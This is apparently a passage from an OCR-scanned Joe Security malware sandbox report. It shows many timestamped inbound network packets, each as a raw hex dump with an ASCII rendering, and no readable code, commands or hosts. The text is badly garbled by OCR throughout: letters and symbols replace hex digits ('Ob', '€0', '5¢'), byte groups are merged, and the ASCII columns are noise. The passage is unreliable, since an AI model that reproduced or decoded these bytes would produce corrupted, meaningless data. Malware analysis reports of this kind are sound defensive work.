33 d2 60 d8 e6 ca ef 0f 94 d5 4e af Ob 32 09 56 84 65 8e 50 db f5 66 10 b9 25 e5 4e 4b 5¢ dc 5b 53 94 72 6a cf c2 6d 29
05 3e 75 31 ec ee a5 61 d0 2b 7a 00 1b 9a 3f a6 82 a3 ad 55 5e b6 a5 d8 a3 68 9b 7d 33 db 3a Ob el a3 bc ce 25 63 ba
d2 4b 80 de 08 cd 3a 3f 11 d4 96 5e 84 6a f4 db 86 27 c8 bd
Data Ascii: n=:{L"t*=2),1}3'x&f#ZT4:a8(FR&MSue"$[.-XZyIHT\2V[[JVY8?0!3 ' N2VePf%NK\[Srjm)>ula+z?U"h}3:%cK: 2"
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Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 4382 IN Data Raw: 1c 34 22 b3 4e f4 53 de 8a 21 a5 96 1c e0 a5 4f bb 36 ce bc 27 34 11 6e 66 08 2b dd a4 08 af 10 2c 03 0Of 2a db
b7 e3 6a 14 da 31 d2 81 15 a6 9d 7a 2f da 3d 5d 4a 50 ba ab 52 1b 59 a5 04 07 41 3b a5 cb 10 0a d3 a9 64 a5 4b 30 6b
06 53 ff 2a ee 6d f4 34 c3 07 c0 ca 4e 14 6e 1e 87 6d 81 84 2a 9d c3 al 77 ee a9 fO f5 ad ed 8f 40 d4 33 8d 20 {7 d2 2a 7f
0a c8 72 cl 45 13 43 51 bb b0 04 f4 df 24 82 81 90 66 73 59 53 5a aa 88 41 f4 97 87 04 b9 75 e4 85 6f ec 64 7d 14 2f 37
68 4a ce 7b 31 c8 70 a0 3d 5f Ob f8 ed 8f €0 79 58 40 8e fc 55 ef be 95 34 16 80 17 a8 13 a5 8b 92 ¢6 7d 75 cb 4c 50 el
8e dc bc b2 87 c5 a7 41 3f 68 34 23 23 56 02 03 f1 ef d5 7e 84 98 Ob 18 6a 23 af 4¢c 3a b5 07 2d 9c bc 72 ea 2b 14 bd 22
a4 72 e0 da 6a c9 6¢ 99 38 8b 1f bc 67 2d 07 bf 1d fa
Data Ascii: 4"NS!06'4nf+,*]1z/=]JPRYA;dKOkS*m4Nnm*w@3 *rECQ$fsYSZAuod}/7hI{1p=_yX@U4JuLPA?h4##V~j#L:-
r+"rjl8g-

2022-01-14 03:59:52 UTC 4398 IN Data Raw: Oa 19 Ob 51 35 f2 6¢ 47 56 51 0d bc 16 4a 73 34 9b 8f b3 7c Oe €8 57 d3 cf 5e 89 78 79 88 41 ad 40 d5 81 fa 20
85 99 2f 2e 3b 4c f6 7f dd c6 5b 1a 01 31 f9 98 85 ff 5f 54 cc Oc 8 1a 2a a6 Oc 9b 04 8d 89 28 36 ea 00 f8 6a 43 fe 50 b2
79 60 c3 b0 df 9a al b4 25 4f b3 a2 83 aa 70 6d 55 72 1c 75 Oe ef 5b 41 6d b6 ec 79 df 98 50 44 57 c6 19 27 fe 40 39 37
38 65 91 67 df 30 60 f2 9b ce 98 bd d6 db b5 73 d3 e1 17 ab 13 a0 f8 d2 1e c0 e2 68 c4 c3 a6 a3 4b dO 6b cd bf 19 04 06
8e 61 ad 4a 89 bl 1a dd 84 a6 5c cb fe 3e 24 bd ec b3 11 a5 de 55 bd 7e 80 13 5f bb e4 43 94 45 b1 92 f6 €0 89 fd 8e 82
fb a7 1d 46 76 6e cf dd 5f d2 €8 ba a8 23 d8 b7 d2 1d 08 09 7c cd d3 ca 40 78 7b 62 70 f8 c8 e0 7c €0 35 c2 38 8b df 87
19 a5 bc ee f5 f0 6d €8 29 dd e5 4c Oc b6 9a 74 cb
Data Ascii: Q5IGVQJIs4|W”xyA@ /.;L[1_T*(6jCPy %OpmUru[AmyPDW'@978eg0 shKkaJ\>$U~_CEFvn_#|@x{bp|58m)Lt

2022-01-14 03:59:52 UTC 4414 IN Data Raw: b1 Ob 1a d9 13 76 4e b4 5c cc 6 99 41 c1 d9 32 d3 72 1e 67 77 46 Oe 15 32 06 ed f6 af 7e €5 77 c1 08 Oa 1f
02 fb 79 cc 44 82 80 47 8b 80 2b d6 7c c7 6d 53 d6 09 38 fd fc a0 cf 12 9f 52 9f ¢3 c0 48 0a d9 c9 68 d6 ff 86 9c 30 ec 69
df e8 72 cc 39 00 16 b0 6e 45 fb 65 b5 f2 31 9¢ d3 28 00 €0 7d bc 3a 57 e7 b9 a7 9f 80 89 7f b6 6d 9d e7 b7 a8 64 92 f8
a2 b5d5d2 7ce4 51 2¢ 51 54 fb 01 7303 dc 37 1le cc f4 7e ff bl 7d 2b f7 d9 71 1c 92 57 11 ac a6 6b da c1 ae c2 11 e8 0:
d4 52 60 el 18 b2 91 41 6d f4 f7 48 82 3c 4b f3 ce d3 52 ¢5 15 ce 42 ¢7 58 9d 2d 06 6b f6 62 24 38 cb aa ac fa af 98 b4 d9
d7 59 6¢ c7 f0 81 1a 72 5¢ 57 fa 60 39 77 3d 56 87 90 d3 ff 5d a2 e4 2f e7 d2 2d f6 11 84 33 af ea fb 84 27 ff {7 e2 78 cc 50
fe ca d6 3e 80 13 38 18 4b 65 20 f9 55 1c
Data Ascii: VN\A2rgwF2~wyDG+|mS8RHh0ir9nEel(}:Wmd|Q,QTs7~}+qWkR AmH<KRBX-kb$8YINW 9w=V]/-3'xP>8Ke U

2022-01-14 03:59:52 UTC 4430 IN Data Raw: 6d b7 c2 92 0d 3b 78 31 82 c5 63 65 7e 66 d9 47 85 3d 4d 08 34 29 74 36 Oa 1b al 4d 36 bf c1 b0 93 b3 d5 fb
f3 d2 a7 a5 6b 1c 2e 7b bf cd a2 e6 2d af 4e 0d b2 a8 fd 77 ae dc 91 3c f6 49 9f 13 cd Oa d9 cb bd 6d 50 38 9b 2a f6 59 30
cl 14 ab df b6 44 e6 f9 5a ad f3 8f d5 a2 26 3b al 6d dc 00 15 4f dc 9d de 5d 09 8e 4b e8 78 96 f2 67 6b 15 da 7d bl 37
04 0b c8 7a 4c 03 90 Oc 22 25 50 a0 6f 29 92 da 4c Ob 18 1d 31 ca 21 85 80 e5 46 Oe 50 fb cb 9e 22 40 73 df 9e 65 f0 cf
68 4e 38 24 71 93 a8 55 78 46 b3 44 4c fa d8 2e a0 3b €6 a3 99 c7 a4 c4 c0 9c d5 13 a6 d4 61 29 49 {7 1b 57 ba 2b 2b 45
da a0 cf aa 7c d7 24 38 55 e9 5a fa 73 14 f8 83 3e c2 1e d9 2b 0d a9 be 27 3d 23 70 a0 8c 8f ab 8d 73 88 22 dd cb 64 86
66 2a le 6b a2 06 f6 10 89 3d 7f Oe 9f 93 de da 98 1f
Data Ascii: m;x1ce~fG=M4)t6M6k.{-Nw<ImP8*Y0DZ&;mO]Kxgk}7zL"%Po)L1!FP"@sehN8$qUXFDL.;a)|W++E|$8UZs>+'
=#ps"df*k=

2022-01-14 03:59:52 UTC 4446 IN Data Raw: ef 18 64 c8 48 50 8e fb 9f 9b e2 46 3d 9d f7 b3 d1 11 56 1d dd df Of 28 83 f2 31 61 c0 81 a7 93 06 37 26 85 40
Ob bc c9 5a 2d 8b 57 f5 77 8c cd 1b 51 61 a0 f2 64 82 da a0 48 7b 8d dd 3e 9f e7 27 ae 64 26 34 55 a3 da b6 cf 5d bc 0f
b5 01 24 b1 5b c3 60 52 7f 83 7a 03 c9 49 5 42 76 37 0f 82 98 65 42 17 43 78 79 7a 7e 7a ce 83 8f e2 55 fd 2d 02 74 c2
Oe 27 6f al eb b3 d6 49 e9 dO 1a 3a 99 1d c8 16 6a f3 bf 7c Oc 29 9c 45 39 21 57 47 4d 5f 72 2b 0f 69 62 af 17 8d 08 cc 92
7352 b1 7d e0 ec f7 34 a7 6e 52 8b 3d 68 b9 b7 ea b0 94 e6 5a 50 55 78 c4 f9 17 f3 71 e5 4c 47 14 e2 e4 b7 79 el 61 ef
2a 17 a6 c2 97 f1 00 30 al 8b a9 22 a4 99 c9 22 ed 7c 3f 1e 5e 95 c7 b4 dd 54 b1 6f 38 ad 75 42 89 5e 90 ca 00 67 al 26
6a Oe 7d bb e8 f9 ad 18 c2 56 82 28 c4 32 a6 e0 d4
Data Ascii: dHPF=V(1a7&@Z-WwQadH{>'d&4U]$[ RzIBv7eBCxyz~zU-t'ol:j|)E9'WGM_r+ibsR}4nR=hZPUxqLGya*0""|?
ATo8uB"g&j}V(2

2022-01-14 03:59:52 UTC 4462 IN Data Raw: d2 5b 99 d3 14 35 Ob 4e 6¢ 9d 32 e4 ed 7e ee 53 ba 60 9f ¢6 c0 01 b9 19 bc cc bl 86 4a 06 6d a3 8a 03 90 43
55 f4 10 bc aa 9f db 86 9f 4e €9 e8 f6 63 97 7b 9d a4 93 1c ae b8 d4 6a 41 el b3 d2 d9 13 27 ad dO ae 55 f8 f0 4c 7a 01
0b e9 6f 76 42 80 97 72 a7 f1 8f 3b a3 3f 99 de 04 6c 18 5b 48 4e bf 12 9a 4b e4 04 df aa c9 83 d7 98 89 b7 20 55 59 25
52 35 dd e0 a3 55 1a aa 93 80 88 00 de 9f d1 bf 85 3c b3 64 74 7a 66 el f9 ac 7f 85 cd 01 57 Oc 34 72 a4 d8 33 58 22 88
2359 1c e7 4f 77 2b 26 ce 59 a0 ¢4 52 26 fa 4c a9 12 26 09 f8 71 c6 8a 63 3f 88 fa 20 2d c9 cc b2 64 cd 58 1a fc 3e 87 a9
4c df 80 a9 25 10 4e 03 5b 59 3e 51 5e 57 1a fd da d0 17 84 21 76 5b 73 ab 99 f5 51 51 03 31 00 c9 bb 58 c8 f5 83 d8 84
3a 02 b5 2e 4f 23 65 47 17 3b 08 40 9a 4e 82 bc f4 12
Data Ascii: [5NI2~S"JmCUNCc{jA'ULzovBr;?[[HNK UY%R5U<dtzfW4r3X"#YOw+&YR&L&gc? -dX>L%N[Y>Q W!V[sQQ1X:.
OteG;@N

2022-01-14 03:59:52 UTC 4478 IN Data Raw: 40 5a dd ea 68 9b 7c 68 93 65 28 61 03 39 c8 85 65 f8 cd 95 8f 9a Oe 94 1e b2 b0 40 ed 0Ob ff 57 6a e9 21 3d
1d ab cc 69 ff 23 56 b2 dc b1 34 6f ea 07 b5 a5 34 6b d0 b1 56 0 54 e6 8d c7 d9 9b 15 d0 31 84 d2 05 84 91 2f 9b 7f d5
68 d7 98 59 3f 7d e4 52 08 6d 6a 86 d4 95 65 11 57 85 9¢ 07 77 32 9a 2f 26 52 52 0a 95 a7 a2 d8 53 5b 84 95 d2 ae 9f 81
0Oa 1b 46 b0 6c ce a0 11 5¢ 1b ¢3 87 f0 7f 67 bd b7 5d 7c fc ab e2 23 71 a7 2d 70 4c 1b Ob f4 fO 2d e4 7d 4c c7 6e 95 67
38 3a ac c0 f0 2d 8c 8d 3f 4d 39 5e 4f 47 7a d7 8b 30 87 3d de 2e 2 ¢7 67 d8 9b 25 6e Ob 5a 76 67 07 2f 31 d9 8a 57 65
02 ed 54 ¢c0 82 f8 38 a2 67 4d 66 42 b5 55 d0 d5 d2 Of 0a 94 76 fb ed aa db 30 2c a6 87 5¢ 75 09 24 87 07 c3 a0 f3 6e 11
7a 23 ed 79 9c fe f7 e4 76 15 a7 eb b4 23 bf Of 3f 93 54
Data Ascii: @Zh|he(a9e@W;j!=i#V404kVT1/hY?}RmjeWw2/&RRS[FI\g]|#q-pL-}Lng8:-?M9*0Gz0=.g%nZvg/1WeT8gMfB
UVO \u$nz#yv#?T

2022-01-14 03:59:52 UTC 4494 IN Data Raw: 24 2d b7 15 f6 75 cb e7 a9 16 83 ff 62 0e 02 d2 7d b4 56 f4 19 de Ob 90 c8 20 54 c2 a5 05 f2 14 ac d1 c2 21 ef
5b fa 01 31 62 €0 63 65 7f 8d cf 53 b2 00 6e Ob ae el 2d 9f 6¢ 1c f2 €8 db cd 5b b3 dc 32 c0 3a ca cd a8 cd 41 a6 ef c¢3 32
08 38 ca 3d 54 9e 20 bb c7 69 89 68 70 €9 e5 3b d6 87 34 c6 04 €9 b4 cf fa fe 54 5b bc 23 71 7a 4f 90 ca ba Ob fb aa 6e
21 be 8a a5 b8 6a e5 d7 2b 4a 59 el ff bf db 29 4f 61 5f 52 53 2b fb 31 7f 20 47 91 e0 a2 79 0f 3a b7 d1 d6 Oa da 4f 65 62
60 71 €5 d4 cd 97 92 5d f7 d4 39 87 8e 93 bf a4 94 c2 ba 0f 38 ¢9 28 el 46 3d 17 ae a0 8e 29 bd 8e 68 13 a0 1c 89 ba e4
e6 dc 3f 57 06 99 e8 9f 7c 92 ee al 4e Oa 15 4e 48 71 1d 9e d6 5b 2 bb fc 19 e6 6a 50 97 3d c6 eb 3d e6 57 ce 8e b3 a3
b5 e8 73 a7 bb b2 6a 42 2c 4b 0f 27 b8 dc 7d 37
Data Ascii: $-ub}V T![1bceSn-I[2:A28=T ihp;4T[#qzOn!j+JY)Oa_RS+1 Gy:Oeb q]98(F=)h?W|NNHq[jP==WsjB,K'}7

2022-01-14 03:59:52 UTC 4510 IN Data Raw: 7e 5f 8e 21 59 ¢5 Oc de b6 05 0d 5d 4b 79 68 14 11 b3 bd cd 55 df 5e bb 5¢ ea 01 5f 63 cf c1 1c 6b €0 95 a5 el
34 e5 51 4b fa da 7f 94 d7 1b al 6b 49 cc d7 09 70 03 5e bf 15 69 21 ff 50 2e 4e 40 da fc 90 54 e7 21 2c cc 04 4f 05 a6 66
9f ac 8a d5 57 60 bb fb c3 43 06 c3 cd b2 54 1c 3c 2b 42 b0 dc 63 8b 14 c5 02 45 4e 5a e2 d0 74 b5 aa 8f 81 08 3e 1b Oe
80 9c 71 3b ee dc a3 d4 2f ad 06 6b 9c 23 88 05 73 56 e7 fb 32 73 6e 02 45 dO af a5 ff 47 ef 55 b3 2e 97 a5 1a c7 Oa e4
65 7 01 ba 6¢ ab 4e 74 12 24 af el d7 99 8f 27 65 73 8a 20 ac 6¢ f7 62 67 51 d2 5c¢ 40 Of de 6e ca c4 bd cb c8 83 6e 15
24 f4 ee d7 fc 31 b8 85 43 5e 40 81 35 db 4e c1 72 b5 6d ce 7b 02 9e 60 bf el c¢7 51 33 18 a2 Oc Oe fd 9e 98 13 c1 fd 73
de 7f 4e 53 78 db bc 4d fc 02 6e 49 8d 7f ff ac 3a
Data Ascii: ~_!Y]KyhUM\_ck4QKKIpAiIP.N@T!,OfW' CT<+BcENZt>q;/k#sV2snEGU.eINt$'es IbgQ\@nn$1C @5Nrm{’ Q
3sNSxMnl:
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Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 4526 IN Data Raw: ef 66 51 08 e2 a6 51 41 d4 d2 6f e2 ab 6e 7a b3 ea 59 ef 8b b9 13 e8 17 a0 45 c0 d3 a9 7a 53 {7 d6 dc 80 7c
8b 49 57 9e a0 8b ce 5f 1a 6e 2a ac a8 2a d8 b8 a9 cd b0 1a ca cf b4 e2 1e 87 10 f1 66 05 f5 44 Ob d8 42 c3 72 95 73 f5
73 e4 d4 7e 71 f1 4c 55 26 98 42 b7 cb 46 06 3a 52 5a 14 57 fe cf aa 53 99 eb ef d3 7d e3 d8 56 9f f0 46 cd 3c 25 c1 50 1la
€884 c1 Oe Oe 09 84 a4 ed dc 27 3 86 3c 6f a9 9f cd e7 6b 7d b3 98 d7 83 4e 30 3e 1a 39 06 67 30 05 39 8f 26 56 38 c6
c7 5a 31 34 4b a8 3d ae 41 2e 61 df 00 37 a9 9b 58 61 ec 17 eb be 68 a8 89 05 e9 60 ee 5d 35 69 95 20 Oc 03 d0 01 11
ac 2f e3 68 91 f5 13 4a 65 85 e7 6a 50 02 6¢ 4d Of 6b 42 e5 4f 8¢ b0 ¢3 23 78 3e 19 bd 5e 2e c6 5b 18 f5 04 96 b3 1b 34
81 1a 82 7e 23 2d 8¢c 69 01 a0 Ob c1 43 Oa b2 f7 70 b5 1f
Data Ascii: fQQAonzYEzS|IW_n**fDBrss~gqLU&BF:RZWS}VF<%P'<ok}N0>9g09&V8Z14K=A.a7Xah ]5i /hJejPIMkBO#x>".
[4~#-iCp

2022-01-14 03:59:52 UTC 4542 IN Data Raw: e0 8b a9 99 f8 a2 c3 06 84 0f 07 2d 5f 15 22 30 2d 51 3b d0 84 56 7f 2d e4 80 ac 4d cb 39 00 c4 2f e8 86 ca 3e
16 b2 ae 9e 88 8f 36 ac 15 31 0d 6e ed f4 3e b6 c2 al cO 7e 92 d1 f4 2a 55 68 b6 0a f8 3b c7 31 e5 ef 9f 46 07 fc 22 47 8d
f1 10 fd ad 26 90 1c le fc al 00 a7 84 89 39 8f 97 c7 8b 3d 49 bb 6f 78 16 8d f2 3e 71 e4 17 3b 10 ee fc 46 f1 5d e5 c7 e0
e5 11 7e cf 67 18 c0 91 d5 94 91 ab fc 94 8 c4 06 d1 d8 da 19 e6 4c cO le 69 ea 2a 3d b0 d2 d8 e0 87 d2 25 65 Ob ef 6b
283d 16 c5 c9 3c 42 05 66 c8 al b4 de 6¢ 7e 3f c8 25 06 32 18 af a3 c9 3d 19 da 94 Oa ae 35 50 dc 54 8a 7f a2 1c d7 9e
5d 58 40 ad a9 45 92 5d 7d ce 70 09 50 Oa 23 52 73 aa 3e ba 93 3f af ca cc 81 98 02 59 62 36 33 59 91 49 cd 8a a4 38 cc
d4 1d ba 84 0d 53 7e ac f1 d6 40 d3 1a 07 07 56
Data Ascii: -_"0-Q;V-M9/>61n>~*Uh;1F"'G&9=lox>q;F]~gLi*=%ek(=<Bfl~?%2=5PTIX@E]}pP#Rs>?Yb63YI8S~@V

2022-01-14 03:59:52 UTC 4558 IN Data Raw: 19 6¢ 19 04 05 3e 35 9b ¢9 27 56 47 15 e5 08 bd dc 9d f6 70 ed 12 c¢7 49 Ob eb 7c 47 €0 31 55 69 78 ee e2 26
58 94 b3 48 d4 ce af 01 df 66 03 0a 6¢ 84 e0 89 9a 68 71 b6 24 57 8e 5a 52 2f 46 51 7a 11 da 9c 08 8f 18 b1 bb 1a f2 d9
1b 05 df ff 50 7e 5¢ 80 59 35 0b f8 82 ac 55 d9 73 5d 1d 18 be 6f 92 33 70 44 20 f5 52 41 1le a2 c8 cd ae 94 91 dd 94 96 b3
8c 2a cc 26 b9 88 22 91 d1 86 36 84 dO c1 7a 98 Oe 4c 8f cd 37 33 18 96 3b 5e 6f 7c c6 d8 77 52 59 64 a8 3e fd 07 66 62
6e cd 11 b3 f4 2b 3f 2b 95 79 56 Oc 57 25 a6 d0 92 35 74 b8 f6 e7 44 ec ae 96 96 28 72 b5 3c 53 69 9e 38 22 dd 9c 83 30
2d 73 b7 53 9a b8 ec 33 32 41 e5 ec a7 63 9e 15 89 50 a9 99 56 42 90 df 62 b6 de 19 a4 c9 a0 8e c6 7b cd 06 b3 32 da f9
0a 16 ba 1b 6e b9 23 17 09 64 c6 56 17 40 dc 7b 65 be
Data Ascii: I>5'VGpl|G1Uix&XHflhq$WZR/FQzP~\Y5Us]o3pD RA*&"6zL73; o|wRYd>fbn+?+yVW%5tD(r<Si8"0-sS32A
cPVBb{2n#dV@{e

2022-01-14 03:59:52 UTC 4574 IN Data Raw: 06 4e f1 4c 81 eb d6 05 94 a6 50 e6 35 7b 89 bc 0d a5 75 19 aa bd 44 e3 e0 6e 54 b6 bc 12 2a 85 3¢ 07 95 f1
1d 52 8f c7 ea 28 ed 5f ad 41 ac 46 49 92 e5 e7 e9 c5 14 ff 2e 6b 8e 5d 36 25 4d 2d 75 c3 3f 4e a0 c6 f3 f3 19 58 ee 2e d5
c9 b5 5b 16 02 53 3a 24 56 a5 1b a5 76 ce e3 2e 46 6e 25 69 7b b9 ec {7 6e d6 1b bf 22 00 63 13 5e 22 c9 7f 1f 17 al 75
49 7f 6¢ 64 7e 09 40 fc 7a 2a 9e fb db 54 d4 56 54 c5 23 56 54 2b ae 37 €6 3a 60 8d eb 6b 89 el 69 4c 2d ae 24 16 7a aa
60 58 39 01 cO fe 4e 64 32 77 da 48 d0 d6 7d d8 79 57 02 al bb 6e aa c9 b5 13 2b b0 86 €9 el 48 cb aa c4 96 0a 45 b6
1724 27 77 cc e5 43 41 a6 60 cc d1 7b Of c2 ab 2a b4 34 ca 37 93 ¢3 28 45 e4 3c 98 84 ee 02 c4 7f 5a 5e 5e 84 2d 15 c5
2956 1b c3 11 b2 36 71 57 a2 44 ae 8e 2a dd 8c aa c6 ac
Data Ascii: NLP5{uDnT*<R(_AFI.k]6%M-u?NX.[S:$VV.Fn%i{n"c "ulld~@Z*TVT#VT+7: kiL-$z" X9Nd2wH}yWn+HE$'W
CA{*47(E<Z"-)V6qWD*

2022-01-14 03:59:52 UTC 4590 IN Data Raw: 7f fe 15 c6 94 ac f6 e7 0a 9f d6 35 86 83 Oe b6 67 1c 61 bd 4b 89 5¢ 57 9c f6 1c 04 b9 47 eb c9 2b 89 e8 75 6f
29 42 cd Oa fc 2¢ 76 44 5a fe 3d d1 76 f9 15 af d9 91 95 7e bd 2d d4 dO 08 c1 87 70 62 8c 68 07 4b b2 9e 00 89 71 4f 7e
05 4c ff 17 69 b1 d7 84 e5 0d f1 a2 5d a8 64 83 90 74 90 43 60 04 ce c2 fd 2f 47 d5 60 ff 80 69 35 Oa e2 fd 87 1e 7c e4 5e
ad e7 57 4a 58 1e a6 9a 04 b7 10 76 f2 66 20 dd 87 ed 4c 98 4d 43 2d 00 e5 ba d1 f7 52 24 eb b7 ee b7 a6 39 18 b3 cf el
da 19 5a 2a 21 c4 a2 5f 4d ¢5 al 29 c0 b0 f8 c5 b1 90 25 48 9c 49 0d 45 cf b4 Oa de 4b ef 98 06 al f9 d4 bd 81 8¢ 36 ca
9b bb a8 9b 70 09 b7 6b 03 3b 88 48 3e b6 bc 7e 97 3e 34 f7 c4 d7 b4 69 a0 7f 16 95 27 e3 7c db 53 07 d1 da ce cd 4c d8
12 e0 fd 16 7f 9f 74 72 4f 86 86 67 17 5a 40 4b 55
Data Ascii: 5gaK\WG+u0)B,vDZ=v~-pbhKqO~Li]dtC"/G"i5|*"WJIXvf LMC-R$9Z*!_M)%HIEK6pk;H>~>4i'|SLtrOgZ@KU

2022-01-14 03:59:52 UTC 4606 IN Data Raw: 48 e2 24 5b 86 be 44 68 74 44 fc 51 fc d5 75 82 10 87 dO df 9b a4 44 ec b6 29 ca 96 8f 4a 8b 2e a5 9b 8a f7 90
77 da Of 3f 11 c3 a9 18 48 b2 b6 d9 db 68 Oa fe 0d d1 69 94 ed Oc €5 29 84 65 04 02 2a b9 4a fb 19 6¢ 85 08 5¢ 49 1e ba
b0 eb b6 aa fe cf e2 58 15 a4 fd cb 30 1e 1c cO 7c 5¢c da ab 3a b7 4d 01 df 83 72 ae df 19 c2 13 29 ed 2b 61 3b 06 87 c6
5b f2 9¢c 6b c1 a5 b0 89 a6 53 a8 c9 9e b2 fe ed 1c a5 ef 15 9¢c b9 d8 60 ee 19 16 6b 14 2f 5f ee bc bf 52 cc f8 90 72 1c c8
416173 c2 ca 23 99 92 21 f4 80 be 7c 24 40 4c c4 46 89 17 70 f7 b8 17 32 49 78 89 9d aa 96 a7 d7 ae 11 87 be 71 8a 78
3c 36 ef 02 5¢ b8 69 ec b4 5f 04 ca c5 fe c2 Ob 8e cd el c0 al dd 38 d2 49 64 8c f7 fc 05 3c 5¢ 3b ¢2 1c 3e 7d ad 10 fb 03
ea 1c 5e 69 4e 9a c9 1f 28 82 51 e6 d2 3c 5¢ 93
Data Ascii: H$[DhtDQuD)J.w?Hhi)e*JNIXO\:Mr)+a;[kS k/_RrAas#!|$@LFp2Ixqx<6\i_8Id<\;>}NN(Q<\

2022-01-14 03:59:52 UTC 4622 IN Data Raw: bc fc ¢8 84 41 b4 80 cb 37 47 a6 ba 4c 60 a2 de ac 87 16 89 5b 02 cf 68 76 22 71 70 82 68 92 63 27 58 7b fc
9b 79 da ed 2f 59 ab d2 5e 5b 82 94 ef al 21 96 78 aa 80 15 d6 00 5f a8 5a el d3 00 40 ea d0 df 54 00 5f 77 ae 94 64 03
1e 91 0f 83 07 fb 77 el a7 bc 79 78 de 2b d8 61 11 86 02 98 68 21 f3 3¢ 5d 60 fc 3¢ 07 a7 94 2b 7b 1c 01 26 c5 43 02 02
60 68 fe 1f 12 6d 64 a7 c3 61 59 ef 77 db 47 04 b4 14 19 83 24 68 b1 46 ca df 11 fd 85 5b Oc 26 f9 f8 2a 8¢ 82 38 74 ¢4 19
5d 29 8f fa 88 90 8¢ 73 36 ea a2 13 da 8a 56 ce 24 95 54 57 af f3 1e 0d da d7 13 96 a3 e0 c2 75 ba 1e 3b 5f 08 1b fe Oe
92 8b 79 bc a5 7c 7e bb 43 ¢8 a8 8d be 51 5d 38 9d 19 ab 91 ef 90 ff 11 89 e3 43 5b 28 ae 5d 04 43 Oe f9 db 9c fa 9c 40
76 69 d7 90 25 89 36 8a 34 c6 ea 13 1fd9 11 ad 2a 2e
Data Ascii: A7GL [hv"gphcX{y/Y/[!x_Z@T_wdwyx+ah!<]'<+{&C hmdaYwG$hF[&*8t])s6V$TWu;_y|~CQ]8C[(]C@Vi%64*.

2022-01-14 03:59:52 UTC 4638 IN Data Raw: €0 11 2e a7 50 bc 05 5e f5 e8 a5 78 17 00 09 10 f1 d1 4f 52 81 77 12 42 85 53 0f d1 62 53 8e 8e c8 46 2b 22
db ef 98 c0 d2 7f a2 c7 77 €7 85 10 75 97 49 1c 38 75 a5 b2 3d e2 6a 6a 36 a7 18 4d 76 7c e4 d7 5e 56 31 f8 9a 13 99 d8
fb 3234 15 8¢ 17 0d ff 59 45 77 77 el 7f el 79 41 81 d4 e8 6f bd a2 dd 34 99 de 58 36 25 8f 16 80 a3 9c 66 3d 1e cf 16
67 9b 69 14 15 64 77 a6 08 74 15 5e al b7 ba 39 22 84 05 4f db 74 5b c4 66 00 3d 68 5b 89 59 d4 38 9e 62 5e 3b 87 98
a8 8933 03 8a 36 c9 63 b2 78 chb 94 37 bl a6 33 87 a6 25 89 2a 15 91 f2 4b 3f 93 5a 25 5f f0 6¢ 5a d7 1c 89 a7 af 2e dd
3ce7 le 4f 72 ¢9 67 a4 fd 97 92 84 eb 13 2b 05 af fb 79 1c 49 55 d6 8c cb 7f f5 a8 71 83 c2 69 e6 9a 5d 81 fc 37 1a 59 3e
f2 b9 d3 71 cd a8 56 2f 8e 62 29 8b d5 13 7e 46 35 55 a3
Data Ascii: .P"XORWBSbSF+"wul8u=jj6Mv|"V124YEwwyA04X6%f=gidwt 9"Ot[f=h[Y8b";36cx73%*K?Z%_IZ.<Org+ylU
qi]7Y>qV/b)~F5U

2022-01-14 03:59:52 UTC 4654 IN Data Raw: 06 b7 dc Oe d6 55 a8 ce 0d 61 42 f9 df 3c 97 e2 a2 d6 e3 4e 9c 66 6d 2a e8 72 c8 63 db a5 61 b6 f1 4f 02 c4 20
30559d el 73 10 71 7d ff 3d Oc de 69 74 51 6¢ 56 97 86 74 Oc 5c 8e 40 9f 47 fd 84 ca 26 e3 90 44 3f e6 c7 fe 60 6a 00 e7
af c7 0a 72 52 4c 46 53 ba c4 82 6¢ 7e f0 04 bc e3 92 21 90 78 3f 4b 8d 75 f7 d8 ba 15 Oe 87 b3 03 2a 22 67 65 dO b8 75
3f d9 e9 df 93 f4 82 2c e2 08 84 b2 d7 9c 95 45 67 63 76 42 18 52 5f 2b 78 b4 17 d7 65 5d 76 25 19 43 76 2a 0a 90 4f a6
5b 77 cb ad af 60 06 Of df d2 95 96 €6 f6 5¢ 6f 86 1a 7a 06 aa cf 69 21 51 c9 16 78 69 56 8d dc a9 a8 c3 ca 8b d3 6d a6 8d
be 2f 0d f9 a5 b3 13 27 31 6e cd 9a 50 a2 ce 62 3d c2 46 39 81 ef 9f 85 2d ec 11 09 cf 34 9c 6f 32 92 ed 12 55 Ob 8 82 46
55 2e 6b 38 39 e5 83 d9 dd 43 5e 5f 9a c6 76
Data Ascii: UaB<Nfm*rcaO 0Usq}=itQIV\@G&D? jrRLFSI~Ix?Ku*"geu?,EgcvBR_+xe]v%Cv*O[w \ozi!QxiVm/'1nPb=F9-
402UFU.k89C" v

Copyright Joe Security LLC 2022 Page 105 of 135



kBytes
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2022-01-14 03:59:52 UTC 4670 IN Data Raw: 3d f8 80 ab 07 4a 06 ea 03 91 a4 ec 26 Oe e8 b1 10 d2 a2 38 9e 88 02 e0 86 11 6d d3 41 27 00 d1 9f e0 30 d5
le 9e 56 Oe f3 57 29 81 26 b4 05 5f bf b7 9d d3 c4 3 48 05 92 2e d2 9b 8d ce 65 1e 9d 9d 63 ed cc ce 38 bd a7 6a fe f9 fc
4d ca ad ae 81 c3 ad 73 5f 52 99 e2 a7 2d c5 e8 93 15 97 89 b1 58 88 2f 5 62 33 32 55 f4 e0 el ea 17 48 c3 3a 9e ad el
ee 6e 3a 1c ac bl f0 a4 55 17 bc 1b ec 1d 98 d3 2f 02 7a 25 b8 15 5f 76 02 8c 94 e3 al 8a 9d 4d 1b d3 d4 dc b1 f7 46 b9
90 68 23 13 d6 48 al 14 1c d9 67 86 53 9c c6 f9 40 28 ba c2 2a 4a 32 b0 9e 96 f3 2e 6e 1f b4 bb 59 ca e0 5f 04 30 05 87
7e €2 b3 0128 d30c c399 d9 1b 88 61 7d f2 4f 7c 4e 3a 58 5d 6a ac 80 eb 34 96 66 43 d0 8b fd 4e 2b a6 06 aa 23 49 1c
de d4 37 e4 d6 ea 1c ec 63 d6 3a 61 5a 4e 93 84 c6 7c
Data Ascii: =J&8mA'0VW)&_H.ec8jMs_R-X/b32UH:n:U/z%_vMFh#HgS@(*J2.nY_0~(a}O|N:X]j4fCN+#I7c:aZN|

2022-01-14 03:59:52 UTC 4686 IN Data Raw: 93 b7 3e 6f 33 fa 82 d0 cf 61 11 ff bf 3e 72 d3 cb 71 07 3d d5 32 a4 f8 33 e2 e2 d7 c9 c5 56 49 0f 31 ¢5 41 76
